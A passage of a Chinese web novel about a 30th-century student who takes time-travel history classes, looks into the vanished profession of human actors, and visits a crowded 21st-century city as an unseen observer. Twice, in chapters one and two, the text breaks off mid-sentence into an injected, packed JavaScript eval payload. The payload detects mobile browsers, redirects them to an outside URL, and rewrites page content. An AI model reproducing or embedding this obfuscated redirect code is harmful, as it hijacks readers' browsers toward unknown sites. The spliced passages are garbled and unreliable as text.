《就说他是真演员[星际]》 1. 第一章 “但是寻找真相的理想不能消失。” 年轻的记者跪在地上,声音干涩,但仔细看他的眼睛,仍带有倔强地透着火光。 他抬头望向面前那个人,同样是人类脸孔,但两人之间的气息对比着看仿佛来自两种完全不同的文明。 站着的人,脸上没有愤怒,也没有喜悦,只是一种难以言明的冷漠,冷漠得像看着一件商品,而不是一个生命。 那目光里到底是什么色彩呢?冷淡,无兴趣,甚至稍显疑惑,或许还带着玩味的嘲弄?仿佛就是在质疑为什么要管这种事? 管这种事情值吗? 和黑暗一起同流合污,走上赚钱的‘康庄大道’不好吗? 地下室没有窗,四周潮湿阴冷,空气里漂浮着旧时代常见的霉菌味。地上的手机亮着屏,循环播放着某段被折叠在黑暗里的视频。画面模糊,只能隐约听到一个少年因为痛苦压抑到嘶裂的哭喊。 时间久了没人能分辨,那声音究竟是来自手机,还是来自这间地下室本身。 年轻的记者被五花大绑在椅子上。他已经没有力气抬头,但眼睛仍睁着,“我……”他喘息着,“不会被你们胁迫……死,我也不会替你们发新闻,你有本事就杀了我,杀了我,我再也不受你门威胁,我不用再受这种委屈。” 他的声音像被石头碾过,可依然倔强,然后是持续不断的哭声和呐喊声,就在他话音落下的下一秒,地下室的灯光忽明忽暗,手机屏幕跳转成一行冷白色的字。 公元2036年9月10日,探寻A演员死亡真相的记者被加害者杀害,真相长达十几年无人知晓。很多人以此事情为蓝本创作小说和电视剧,直到星际时代出现了时空历史课,我们得以看到那段历史最真实的样子。 — 陈绍宁坐在全息教室里,眼前的透明光幕缓缓消失。 她是29世纪末星际联合大学的一名学生,修读公共文明学方向. 其中《时空历史课绪论》一课是所有学生的必修课。 陈绍宁搓了搓鼻子,今天的课程结束就能去买她心心念念许久的复古巧克力甜品,据说是仿照旧蓝星时代二十一世纪超级火爆的一款甜品制作的。 现在是2999年,很快她就要跨过时间成为30世纪的人来。 当下,此刻她在看教授播放的课件,顺便侧边窗口浏览全网关于历史时空课程的相关资料。 星际时代的课程不再局限于书面记录,博物馆或AI模拟,他们能真正回到过去观察历史。 教授的声音贴着耳边响起,经过全息耳麦处理,带着轻微回音。 “时空历史课的出现,是星际时代最具影响力的改革之一,它分为两类。一是观察型时空历史课,以非实体形态回到过去,旧时代称为鬼。还有深度时空历史课程,可以理解为真实穿越。深度时空历史课程短则半年,长则三年。此外还有 TEC、ARS、CDT、MRT 这类辅助性时空接触工具。”(1 光幕上依次浮现几种器材的影像。 银白色磁带,蓝色光纹缠绕,透明薄片在空中像星芒颤动,类似腕表般的漂流器,在教授手里轻轻晃动就能引发时间波纹。 陈绍宁下意识在座椅上坐直。 这堂课是她从小就期待的,当下社会虽然富足、能量充沛,疾病几乎灭绝,但人们并非因此失去求知欲。 恰恰相反,星际社会之所以能比旧时代人类畅想的共产主义社会更理想,是因为他们真正做到了以史为鉴。 每天都有数万人申请时空历史课,回到过去,看最真实的历史,人类回顾历史再也不是课堂讲述,AI影像,被美化的纪录片这样简单的东西,而是可以做到自己亲眼所见。 社会能维持上千年的和平与高福利体系,很大程度上源自这个制度。 所有的事情不会被隐藏,只要相关的蛛丝马迹都会被发现,坏人被法律审判后会被流放到过去。 这也是旧时代人类之所以害怕鬼的真正原因,教授继续说道:“同学们,你们可能听过一个旧蓝星时期的迷信,比如鬼会害人,鬼会压床,鬼会拽人头发。其实,那些并不是亡灵,而是未来星际社会中被惩罚者流放到过去的时空形态。” 全班学生轻轻笑了一下。 教授抬手调出一个屏幕,上面显示不同颜色的观察者幽影,像透明人形。 “在观察型穿越中,灵体状态的学生不被过去的人类看见。但被流放的罪犯也会以类似形态存在。他们无力改变历史,只能在无休止的长时间里漂泊,徘徊。部分罪犯会以戏弄,吓唬,恶作剧的方式发泄。这便形成了旧时代闹鬼的恐惧来源。” 全息影像里,那些幽影在过去的夜里拖拽着椅子,踢门,拉人头发,在耳边嘀咕怪声,过去的人类以为这是灵异事件,其实根本不是。 陈绍宁听到这里,心里浮现一个冷静的念头,原来旧时代的人类那么可怜,他们连害他们的到底是什么都不知道。 避免走上一条权力无限扩张的旧轨,正是来源于所有人都在呐喊要看到任何事情的真相。 历史无法撒谎,真相绝对没有办法被掩盖。 过去无法被篡改,每一段被掩埋的痛苦,都藏在某个时间点,只要有人愿意就能回去寻找。 教授继续讲解:“TEC(时序回声磁带)虽然在星际规范上属于违禁品,但多数学生仍能在课程中接触到。它最多能让使用者回溯七分钟到磁带录制年份的随机十五天里。ARS、CDT、MRT 也具备不同的短时穿越能力。正规的历史课程只有两种方式能得到官方承认,那就是观察型时空课程,以及深度时空历史课程。” 陈绍宁默默记下笔记。 她从小就对过去充满好奇,尤其是过去时代里还有写作的作家和真正的演员。 不论是作家还是演员,似乎都能讲述一个故事。 旧时代频繁出现的那些社会悲剧,都在不断的在作家和演员的演绎和创作中一直留传着。 但即便如此,很多事情很多真相仍旧长期沉睡。 她常常想如果当时的人类知道真相,他们会不会做出不同的选择?又或许是什么让人类在不同的时代都有那么多的痛苦。 这事没有答案,陈绍宁只好把各种想法压回心里。 全息课程在讲到第七小节时,有学生在聊天室提问:“教授,咱们现在社会为什么可以做到全民福利这么高?” 教授回答得很简单:“因为所有人都知道,真相最终一定会被看见。想法可以被掩盖,但行为不会被掩盖。所有人都能在申请观察型历史课回去看,所有人也都会被观察。” 星际世界达到的共产主义比任何乌托邦都要真实,这并非靠道德,而是靠制度,靠时间本身的不可欺骗性。 “本学期的课程,大家需要选择任意时代里的热门话题为中心写一份论文,需要登记足够的田野调查和社会调查,所以记得申请观察型历史课程。” 教授结束课程,课间休息的时候,陈绍宁推开座椅准备走,却被旁边的人轻轻碰了一下。 “绍宁,你看了今日热门讨论了吗?大家再聊关于2036年那条话题,这会又冲热搜了。” “哪条?” “就是‘自杀是一场多人谋杀’那条。” 陈绍宁停住,邻座继续说:“已经有二十万人在讨论了。” 她打开脑内光屏,迅速滑动资讯,很快,一条讨论帖跳入眼中: 【2036社会流行语考证】 为什么当年那么多人说自杀不是个人行为,是一场多人参与的谋杀? 下面的评论潮水般密集。 “当时的劳动环境太可怕。” “舆论、人际关系、压迫、冷漠,都是凶手。” “很多人不是自己放弃,而是被逼到绝境。” “如果不是那么多人的推搡,他根本不会死。” 陈绍宁盯着那句在2036年很多人关注的话,自杀是一场多人谋杀。 她忽然觉得心口微紧,她想起了刚刚课堂上看到的2036年被杀的记者,想起来他跪在光影里,用最后的力气说那句话:“但是寻找真相的理想不能消失。” 过去的痛苦并非自然产生,而是由许多看得见、看不见的力量共同压下来,压到人再也承受不住。 陈绍宁轻轻吸了一口气。 未来社会里,几乎每个年轻人都会至少申请一次深度时空历史课. 有人是为了去看名人,有人去看战争,有人为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149301|196424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了毕业论文,而陈绍宁不知道为什么心底突然涌起一种强烈而执拗的冲动。 她想回去看看。 想看看2036年那些痛苦的真相,到底是什么导致那么多人留下那句被后时代无数次引用的评价。 想知道那句自杀是多人谋杀究竟源自什么样的事件,怎样的无形之手。 陈绍宁抬头,星际城市的蓝光从教学楼外洒入。 悬浮轨道在空中划过淡淡光线,秩序井然,人们在和平、富裕、透明的社会里流动。 未来之所以如此光亮,是因为有人不断回到过去,把阴影一点点照亮了。 而现在轮到她去看那段历史了。 陈绍宁已然做出决定,她要申请时空历史课,回到过去。 ———— 下课铃声响起的时候,投影幕布还没来得及完全收起,教室里已经松了一口气。 陆续有人短暂退出全息教室,有人把座椅往后一推,靠在椅背上伸懒腰;有人摘下神经接口,揉了揉太阳穴;也有人干脆把桌面调成半透明,开始刷即时讨论区。 陈绍宁没有立刻起身,她在找资料,那些关于孟余的资料。 他的职业是演员,但是演员这个职业在还不到2100年的时候就已经被取消了。 陈绍宁在网上找了一些关于“人类演员衰退史”的课程,课程下面都有很多人的留言,最高赞的评论就是 —— “所以问题到底出在哪?” 有人先留言,“是观众不看剧了吗?” “不是吧。”下面的回复这样写的,“数据上看,内容消费量一直在涨,只是没人愿意为真人多付钱了。” 讨论很快热闹起来。 “你想想看,真人演员太贵了。” “而且不稳定,档期、情绪、舆论风险,全是成本。” “AI演员可以无限复用,一次建模,终身服役,还不塌房。” 有人回复了一句:“更关键的是,品牌也不愿意请人了。以前找艺人代言,是卖人本身,现在消费者根本不买这套。” 陈绍宁听到这里,抬了下头。 “对。”有人接口,“请艺人不转化销量,品牌就想着撤退。艺人没商务,只靠拍戏,根本养不活自己。” “那不就只能降价,甚至免费拍吗?” “你以为他们的拿到的钱只是自己拿着吗?都需要分出去,真的做事的人分不到多少,反而是自觉的给了机会的人要拿走大头。” “可以如果是投资的人,拿大头是合同规定的不是吗?” “是的,但是应该分给做事人的钱总是会被克扣,人做了事情还不被尊重,为了或者是有一代人会配合,但是有了AI,自己就能当导演,自己能写本子,自己能当照明,美术,音乐,再不然就是找相关人合作,时间久了就不需要真人演员了。” “有道理,而且这种情况下演员也不会免费拍,谁还能长期干?还不如直接转幕后做点别的事情了。” 讨论渐渐偏向另一个方向。 “而且在真人演员这个行业消失之前,这个行业已经不行了。后面进来的一批人,业务能力越来越差。不是因为他们不努力,是因为体系已经坏了。演技不重要,能吹出来水花,反而演好戏服务观众成了水中花。” 有人留言里配着叹了口气表情包:“你会发现,真正能演能唱的人反而被挤走了。留下来的,要么靠流量,要么靠背景,要么干脆硬撑。” “到最后,观众也不信任真人了,觉得他们贵不专业,还容易出事。” 陈绍宁安静地听着,忽然意识到,这些结论说出来的时候,语气异常平静。 没有人愤怒,也没有人惋惜。 就像在讨论一种自然淘汰的物种。 “所以AI演员不是杀死真人演员的原因。”最后有人总结,“只是接手了一个已经活不下去的行业。” 课间结束的提示音响起,陈绍宁被迫中断观看这个话题,她重新戴上接口,调回课堂模式。 但是陈绍宁却在那一瞬间想到如果一个行业,是先失去了被尊重的可能,再失去了生存的条件,那它的消失,真的只是技术进步吗? 这是个好问题,但是答案还没有很明确。 2. 第二章 陈绍宁摸了摸胃,她饿了。 伴随着饥饿来的是一种极其温和的震动。 星际联合大学的下课铃没有选择声音,而是一种特别的震动。 这里的课程都是自己随便在哪都可以,线上有全息教室完全仿真二十一世纪的阶梯教室,陈绍宁就坐在阶梯教室中段的位置,脚下的金属地板轻轻共振了一下,就是一种提示。 她面前的半透明投影幕缓慢收拢,原本铺满整个视野的历史影像被压缩成一行行可检索的文字注解,自动归档进个人学习记录。 教室里没有嘈杂声。 大多数学生并不会像旧时代那样在下课瞬间喧哗,他们只是摘下神经接口,就离开了教室。 陈绍宁把座椅角度调得更舒适一些,桌面浮现出私人界面。 她住在联合政府提供的公共宿舍里,屋子里空气恒温,光线柔和,没有任何会让人分心的不适刺激。 对于大部分人而言,《时空历史课绪论》其实是三十世纪星际联合大学里再普通不过的一堂历史课,但对于陈绍宁而言还是比较特殊的,谁叫她是修读公共文明学方向的学生,《时空历史课绪论》就是她的必修课。 教授在课程刚开始播放结束的,是《旧蓝星文明职业社会心理结构》中的一段职业中属于较为特殊的课程案例。 课程结束之后,陈绍宁把之前关注的帖子又继续找出来,投影幕最后定格的那一行字,还残留在陈绍宁的视野边缘: 【2036社会流行语考证】 Suicide 被重新定义为一种结构性死亡,通俗表述为——为什么当年那么多人说自杀不是个人行为,是一场由多重社会因素构成的多人谋杀。 陈绍宁看完一切,看到一个新的评论,她的微微皱了下眉。 她举起手指尖轻触悬浮界面,仔细看着屏幕上的内容。 “这里的多人谋杀,旧时代的人是不是用词过于情绪化了?” 陈绍宁想了想,抬手将那一行注解拆解成几条冷静的定义模块,然后在进行新的回复。 “这不是情绪性表述,”陈绍宁的手打字,平稳而克制,“它是对旧时代法律与社会结构缺陷的总结性语言。” 屏幕迅速切换,陈绍宁其实听过一些关注这个话题的朋友分享,想着自己的知道的事情,陈绍宁继续打字。 “在旧蓝星时期,死亡通常被归因为个体选择。但通过时空历史课的回溯观察,我们确认,在相当数量的案例中——经济压力、舆论环境、劳动制度、医疗缺失、关系网络,共同构成了无法逃脱的结构性压迫。” 陈绍宁停顿了一下,像是在斟酌最后应该怎么措辞比较好。 “所以现在的我们不再讨论谁推了最后一把,我们讨论的是谁搭建了这条无法回头的路径。” 陈绍宁把评论发出去之后,安静了好一会。 这类论断在星际时代并不新鲜。从小学开始人们就被反复训练去理解结构而非情绪,去拆解系统而非指责个体。 可陈绍宁还是觉得,有什么地方不对。她想再补几句的时候,发现系统提示在她的视野中一闪而过,紧接着,系统弹出了一行灰白色的可选提示框: 【检测到学习兴趣的确立,请问是否确认《时空历史课绪论》内提交的论文题目,是否申请本周进入选修《观察型时空历史课入门》?推荐研究方向:职业消失案例,社会结构性死亡,文化形态断代。】 她的视线停留在职业消失案例那一栏。 陈绍宁想起来课上教授播放的视频,她突然对演员有点好奇。 虽然知道演员逐渐消失的原因,但她还是没明白AI演员和演员的差距在哪里。 相关的内容附近有一些演技对比的影像,陈绍宁点开后,系统自动播放了一段对比影像。 左侧是一段 AI 演员的情绪模拟失败样本。 那是二十三世纪早期的一次技术事故记录,虚拟角色在情绪峰值处出现了明显的溢出,悲伤曲线被算法过度拉高,导致角色表情失真,哭泣显得夸张而空洞。 右侧则是一段更早的旧影像。 画质粗糙,色彩偏差明显,镜头还有轻微抖动,画面中的男人站在昏暗的灯光下,说台词时有一个不自然的停顿,像是在寻找下一个呼吸点。他的情绪并不精准,甚至谈不上完美。可那种停顿,那一瞬间的迟疑,却让人清楚地意识到这是一个正在思考的人。 陈绍宁很明显的看出来差距,人类的特别在于经历过不同的事情就能产生不同的情绪残留,只要演员自己能明确的把握剧本里的剧情和角色的特点,那就能把自己饰演的角色演示出来。 “但是人类的是错成本在于时间的浪费,时间的浪费会造成同场景多职位的人同比产出费用,只要算法足够好,照明,演绎,服装,建筑,美术,音乐都可以直接在虚拟世界生成,这就只浪费一个人的时间,等于虚拟世界的存在,人人都是美术总监,照明总监,总制片人……” “这样看,演员还有其他的行业被淘汰就是因为人类的时间低效,又不可控。” 陈绍宁翻看着别人的评论,再次把视频重复播放了一遍。 看了许多遍之后,陈绍宁看着那段旧影像,心里浮现出一个极不合时宜的念头,如果这种不完美才是真实,那它为什么会被当成缺陷? 她下意识调出了资料检索界面,查询结果几乎是瞬间生成的。 【娱乐业形态变迁记录】 公元 23 世纪:AI 演员全面商业化,真人演员被列为高风险、不稳定资产,品牌代言转化率持续下降 公元 25 世纪:真人演员基本退出主流市场 公元 30 世纪:演员作为职业正式消失,娱乐功能由历史观察课程、情绪模拟体验替代(1 陈绍宁愣了一下。 三十世纪的人类,已经不需要演员了。 他们想看悲剧,可以直接申请观察型时空历史课,回到某一段真实发生过的历史。想体验爱情,可以选择某个被记录的亲密关系节点。想哭想共鸣,想确认人类曾经如何活着,都不再需要一个站在舞台上的中介者。 在这个高度自动化、资源共享的星际共产主义社会里,生活本身并不艰难。 基础居住空间由系统自动分配,按需调整大小;饮食由公共营养系统提供,口味偏好可以随时修改,任何时代的美食都能生产出来;医疗,教育,交通全部去商业化,没有付不起的概念。 要说什么东西没有,还被称呼为星际联合政府的综合组织也只会自我反思自己的失职,而不是指责需求者为什么贪心。 人们不再为生存奔波。 也正因如此,娱乐被重新定义了,它不再是逃避现实的工具,而是一种理解历史,理解自我的方式。 可正是这种理解,让陈绍宁感到不安。 她点开那段旧时代影视片段的详细标注。 演员姓名一栏,已经被归类为非必要信息,除了一个模糊的备注还留着【人类演员(已淘汰)】 她皱起眉,手指在空中停了一下,最终还是点开了更深一层的档案。 名字跳了出来。 —— 孟余。 孟余是艺名,本名是周孟余,他的履历并不辉煌,没有横扫奖项的记录,虽然有现象级作品的标注,但最后也没有大火,只是零散的影视作品列表,以及一条条逐渐稀疏的工作记录。 还有无数个温和,有礼貌和粉丝互动的视频。 可他表演那个记者的剧情,却真实得让人无法忽视。 陈绍宁忽然意识到一个问题在演员,歌手,爱豆彻底消失之前,这个行业到底经历了什么? 或者说,那个教授给大家播放的视频里面,那个电视剧是在说什么真实的事情吗? 陈绍宁可以查阅到的资料显示,在真人演员尚未完全退出舞台前行业内部确实已经出现了严重的恶性循环。 品牌不再愿意为艺人买单,消费者不再通过人建立信任,艺人失去商务支持,只能靠拍戏维持生计。 而戏的价格,一路被压低。 低到需要情怀,需要热爱,需要为梦想发电。 于是,那些真正具备长期专业训练能力的人被迫离开,留下来的是无法承受长期无回报消耗的新人。 业务能力下降,观众信任流失,行业名声进一步恶化。 最终,AI 演员顺理成章地接管了一切。 “看起来像是技术进步。”陈绍宁低声自语。 可她心里却隐约明白,这并不只是技术的问题。 这是一个行业,在被消耗殆尽之后,才被替代。 系统提示在她的视野中继续闪烁,紧接着系统弹出了一行灰白色的通知,督促她尽快选择是否申请本周进入选修《时空历史课观察型入门》。 陈绍宁看着推荐研究方向有些犹豫,以前自己都是预约了历史体验作为休闲项目。但目前还是有点犹豫选择什么方向,她却坐在原地,盯着那段旧影像。 那种不完美的情绪残留,像一道不合时宜的裂缝,在这个过于理性、过于稳定的世界里,显得异常刺眼。 她忽然意识到如果人类只通过观察型历史课回溯来理解情感,那是不是意味着他们已经不再创造新的情绪了? 系统的选修提示还悬浮在视野一角。 【是否确认进入《时空历史课观察型入门》?】 陈绍宁伸出手,停顿了一秒。 然后点下确认。 她想知道像孟余这样的演员,究竟是被技术淘汰的,还是被时代用完之后,轻轻放弃的。 ——— 课程进入需要排队,陈绍宁进入之前还有很多人,等待的时间里陈绍宁打算 晚餐时段的公共住宿区总是很安静。 倒不是因为没人,安静只是因为大家看起来都不匆忙。 陈绍宁从自己的居住舱出来时,走廊里正好有几个人在慢慢往外走,大家走路聊着天,没有谁低头看时间,也没有谁一边走一边急着处理终端上的消息。 走廊的灯光柔和,墙面上是实时调节的环境投影。 今天是低饱和度的森林色,叶影在墙面轻轻晃动,模拟的是某颗适居行星的傍晚。 这是公共住宿区的标准配置。 三十世纪的城市早已不再用昂贵来区分生活质量。 居住权、基础饮食,医疗,教育,交通,这些都不再和个人收入挂钩,而是作为公民基础配额存在。人们不需要为活着付出交换,只需要为选择额外资源做出贡献。 陈绍宁走到电梯口,电梯门自动打开。 里面站着一位年纪偏大的女性,手里提着一个半透明的食材盒。 “去街区吗?”对方笑着问。 “嗯,吃饭。”陈绍宁点头。 “今天广场那边新开了一家轮值餐厅,好像是火山行星的料理队。”女人说,“听说汤很好。” 陈绍宁应了一声,心里却还在回想历史课里的画面。 旧时代人为了房租,餐费和医疗账单精打细算的样子。那种活着本身需要支付代价的状态,在这个时代已经很难被直观理解。 电梯下行没有失重感,几秒后门开在街区层。 夜色刚刚降下来,城市的灯光不是刺眼的霓虹,而是分布在道路、植被和建筑边缘的柔光带,像是给空间勾了一圈温和的轮廓。 街道很宽人却不密集,大家三三两两地走着,有人聊天,有人慢慢散步,有人停在公共演奏区旁听一段即兴音乐。 没有广告屏。 没有推销声。 只有开放的共享信息板,上面滚动着今天的公共议题投票结果、社区资源调度情况,以及各区域志愿需求。 “北区水培农场需要临时维护协助 3人” “儿童博物馆周末讲解志愿者报名中” “下周城市节庆舞台设计征集” 这些信息不是工作招聘,而是参与提示。 人们选择自己愿意投入时间的领域,贡献被记录为社会参与积分,用于申请额外的研究资源,远行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149302|196424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名额或个性化空间改造额度。 陈绍宁顺着街道走,空气里有淡淡的食物香味。 街角是一排轮值餐厅,外墙是开放式的,厨房与用餐区之间没有明显界线。人们可以看到食材处理,火候控制和调味过程。 她走进那家火山行星料理队的餐厅。 入口没有菜单屏,只有一块木质牌子,上面写着今天的主餐主题,高温矿区驻站餐。 下面标着三种口味强度,以及适合的体质说明。 一名轮值厨师抬头冲她笑了笑:“第一次来吗?” “嗯。”陈绍宁点头。 “那可以试试二号汤,味道浓一点,但不会太刺激。” 对方边说边把一个浅色碗递到她手里,没有付款环节。 餐具在她接过时自动记录了个人摄入数据,用于健康平衡建议,而不是结算费用。 她找了个空位坐下,周围的人在聊天,有人在讨论最近的历史课选题,有人则在说自己申请到了深海观测站的轮值机会。 这里的谈话内容,很少围绕赚钱。 更多是围绕 —— “你最近在做什么?” “你打算去哪里参与项目?” “要不要一起报名下个月的修复任务?” 陈绍宁低头喝了一口汤,味道很厚,大块的牛肉带着一点烟熏感。 她忽然意识到,这种安心吃饭的体验,在旧时代是需要条件的。 稳定的收入、可控的房租、不会因为断交而无法使用的医疗保险,或者是突然上涨的医疗账单,这些在历史资料里被反复提及的压力源,在这个时代已经被系统性剥离。 倒也不是人类基因突变突然增加了善良的属性,而是因为社会结构被重新设计过。 生产资料,基础资源和技术产出被公有化管理,效率提升带来的剩余不再被少数人私有,而是直接回流到公共保障体系。 星际联合政府的工作人员都是38~42岁的人员,每一个人也只有五年的任期,到期就要离开,并且不会给予任何的费用和权利。 这是任何一个星际联合政府的人需要为大家付出的,所有人到了这个年纪都需要进入星际联合政府工作。 所以这里的街道上,看不见被生存追赶的表情。 人们依然会焦虑,会迷茫,会为选择发愁,但那不再是活不下去的恐惧,而是想把时间用在哪里的犹豫。 陈绍宁坐在灯光柔和的餐厅里,忽然意识到一个对比几乎让人心口发紧。 三十世纪的人,为了如何更好地生活而思考。 二十一世纪的人,却还在为是否能继续活下去而奔跑。 她想起历史书上那句话,想起那个尚未真正进入她生命,却已经在她脑海里留下名字的人。 在这个已经把生存从个体肩上卸下来的时代,陈绍宁仍然要回到一个必须为生存支付代价的世界。 陈绍宁觉得只有真正站进那个环境里,她才能明白为什么在那样的街道上,会有人一步一步被逼到没有路可走。 大家会谈论这样的话题,但没有人能改变这样的事情,陈绍宁不想再被那些留言影响,她拿着勺子慢慢地沿着碗边沥干汤水而吃掉了牛肉,望着窗外的柔和光芒陈绍宁发呆一样的咀嚼着牛肉。 耳边传来大家的声音,话题是陈绍宁熟悉的 —— 论文。 “哇,你们选择了《时空历史课绪论》吗?我发现最近提示我要选择《时空历史课观察型入门》,然后还要写论文,可是我不会写论文啊,我只会观察而已。” “想做又不是能做,你觉得会观察,说不定你根本观察不到有用的东西。” “课程会上完的,论文会写完的,世界也会完的,就是时间长短而已。” “虽然我也这样焦虑过,但是看着大家都焦虑,我就不焦虑了,哈哈哈哈哈。” 几个人聚在一起往火山行星料理队的餐厅走来,陈绍宁虽然不认识这些人,但是却觉得这些人说的还是很对的。 “反正都是反复打磨狗屎,这个还是我看二十一世纪网络网友们说的,我觉得很对啊,大家写的都是狗屎,不过就是包了盒子和每包盒子的。” “你说教授会不会记不住DDL,然后这学期结束了,是不是就不需要担心了。” 陈绍宁:…… 果然人类的精神世界还是很一样的,不论什么时代。 但很快,大家聊的话题已经变成了别的。 这群人没有想掩饰什么,说的声音不算太大,但是陈绍宁离得有点近,很快东西都被陈绍宁听的清楚。 “听说有人私下用 TEC 了。” 陈绍宁知道TEC,这个也是课程里教授介绍过的东西。 TEC、ARS、CDT、MRT,这些名字在星际社会并不陌生。课堂上会讲,博物馆里会展示原型,但它们都有同一个注解:非官方、不可控、风险自负。 “只是想去见见过去的人而已。”有人小声说着。 “但是问题是你根本不知道自己会落在哪一天。这不是很危险吗?” 陈绍宁觉得大家说的没错, TEC 的时序回声只能随机落入录制年份的十五天之内;ARS 更不可预测,甚至可能被甩到完全陌生的时段;CDT 像时间漂流,浪漫却没有坐标;而 MRT 最危险,它不是回到时间,而是进入别人的记忆残片,真假交错没有官方锚点。 “上次有人回来之后,连续一周分不清现在是哪一年。”有人低声说。 这些工具之所以被限制,并不是因为它们能改变历史,而是因为它们会改变使用者对现实的抓力。 当一个人频繁往返于未经校准的过去,他带回来的不是证据,而是情绪而已。 怀念、悔恨、无法安放的思念。 陈绍宁忽然意识到一件事,哪怕在一个已经拥有官方历史课程的时代,人们仍然会冒险使用这些不稳定的装置。 这很正常,有些人只是太想再看一眼过去了。 3. 第三章 观察型时空课的开启还是很快的,陈绍宁排到位子之后基本上就是直接回到了过去。 上课而已,没有什么特别的仪式感。 原本没有经历的时候,陈绍宁还想着是不是有什么课程提示或者光线声音的变化,但这一切都没有。 意识只是被一种突兀的重量拉拽了一下,像是身体被迫挤进一个并不完全匹配的空间。 下一秒,陈绍宁站在了一条仍在正常运转的城市道路中间。 车辆贴着她的身体掠过,风从她的肩侧穿过去,却没有带走任何重量。 她下意识想后退,却发现自己根本不需要避让,因为没有人看见她。 这是系统早就告知的事实。 观察型时空历史课,简单理解就是会以鬼形态存在,不被旧时代人类所感知。 可当她真正站在这里,还是有一瞬间的眩晕。 街道太满了,一种难以说明的持续性的,毫不留白的拥挤。 广告屏幕在建筑外墙上轮番闪烁,色彩饱和得近乎刺目。地铁出入口像是永远不会关闭的阀门,人流不断涌出,又被吞回地下。 快递车,电动车带着外卖箱在缝隙里穿行,每一次急刹都会引发一连串不耐烦的鸣笛。 各种不同的信息在空气中堆叠。 屏幕上的字太多,声音太多,整个城市都在同时向人类索取注意力。 陈绍宁站在原地,看了不到一分钟,就感到一种异常的不适。 她意识到,这不是身体的问题,这是节奏的问题。 在三十世纪的星际社会里,城市并不安静,但它是有间隔的。 光源被精确调控,信息推送有明确的冷却时间,人类的行动路径被规划得足够宽松。即便是最繁忙的交通节点,也会预留出明显的缓冲区。 而这里没有。 这里的时间像是被压缩过,每一秒都被塞满了内容。人们行走的速度几乎一致,步幅固定,目光前倾,肩背绷紧,像是被同一条看不见的轨道推着向前。 她顺着人流移动,几乎是被带着走的。 没有人交流,即便有也只是极短的,功能性的对话,比如报站提示,催促确认订单,机械重复的道歉。 情绪被压缩到最低限度,只留下效率。 历史教材里曾经用一句话概括过这一时期的城市状态,高度密集的生产与消费社会。 可站在这里,陈绍宁第一次意识到,那句话有多么轻描淡写。 她看见一个男人在路口停下,低头盯着手机,眉头紧锁。他的脚在地面来回点动,却始终没有真正停下来,像是随时准备重新并入人流。 她看见一个女人在等红灯时打电话,一边应付客户,一边用肩膀夹着包,另一只手还在回复消息。红灯结束的那一刻,她几乎是被后面的人推着往前走。 没有人是悠闲的。 也没有人看起来是真的知道自己要去哪里。 他们只是不能停。 陈绍宁下意识回头看了一眼。 街道在她身后延伸,密密麻麻,像是没有尽头。 她突然明白了一件事,在这样的环境里,停下来并不是一个中性的选择。 停下来或许也意味着被撞开,被覆盖,被抛在后面。 她的视线无意识地扫过路边的橱窗。 模特穿着最新款的服装,表情完美却空洞。广告语不断变换,强调立刻拥有。 没有一句是在询问,你累不累,陈绍宁忽然觉得喉咙发紧。 就在这时,她注意到路边一家便利店门口站着一个小孩。 孩子大概七八岁,穿着明显不合季节的外套,拉着书包带站在台阶边上,像是在等人。他的注意力并不在手机上,也没有被广告屏吸引,只是百无聊赖地踢着脚边的一小块石子。 陈绍宁原本没有在意。 直到那孩子抬起头。 他们的视线在空中短暂地对上了。 那一瞬间,她本能地屏住了呼吸。 理智告诉她这是不可能的。 观察型时空历史课的鬼形态不可被感知,这是时空历史课最基础的规则之一。 系统早已验证过无数次,观察态不会被旧时代人类捕捉。 可孩子的目光没有移开。 他歪了歪头,眉头微微皱起,像是在确认什么。 他的视线并不聚焦,甚至有些迟疑,却明显落在了她所站的位置。 陈绍宁第一次感到一种接近被看见的感觉。 不是明确的认知,而是一种模糊的,未被语言组织的感受。 孩子眨了眨眼。 他张了张嘴,像是想说什么,却被身后突然传来的声音打断。 “发什么呆?走了。” 一个成年人的声音,带着明显的急促。女人一把拉过孩子的手,几乎是拖着他离开了台阶。 孩子被迫转身,却在被拉走的瞬间又回头看了一眼。 这一次,他的目光已经有些飘散,像是刚才的感知正在迅速退潮。他的表情变得困惑,又很快被环境吞没。 人流重新覆盖了那个位置。 便利店的自动门开合,风声,广告声,还有脚步声再次叠加。 陈绍宁站在原地,久久没有动。 她的心跳并不存在,可某种类似余震的感觉却在意识深处扩散开来。 ——观察型时空历史课上的她们真的完全不可见吗? 历史课从未正面讨论过这个问题。 教材中关于旧时代鬼魂传说的注解,只是用来说明放逐制度的心理影响与文化误读。 所谓看见鬼,被统一解释为压力幻觉,集体想象或认知偏差。 可刚才那一瞬间,孩子的反应并不像幻觉。 那是一种尚未被社会节奏彻底塑形的感知,或许不是所有人类都在同一程度上关闭了某些能力。 陈绍宁继续向前走,城市没有给她思考的空间。 街道很快将那段插曲淹没,新的画面,新的声音不断出现。 她看见行色匆匆的上班族,看见疲惫却强撑精神的服务人员,看见路边坐着短暂休息、却始终不敢真正躺下的人。 他们的身体在移动,表情却像是被锁住了。 历史书里的描述再次浮现在她脑海里。 “旧时代的人类习惯于高强度生活。” 她现在才明白,这句话真正的含义是他们已经习惯于忽视自己的感受。 习惯到连疲惫都被当成一种正常状态。 陈绍宁抬头看向天空。 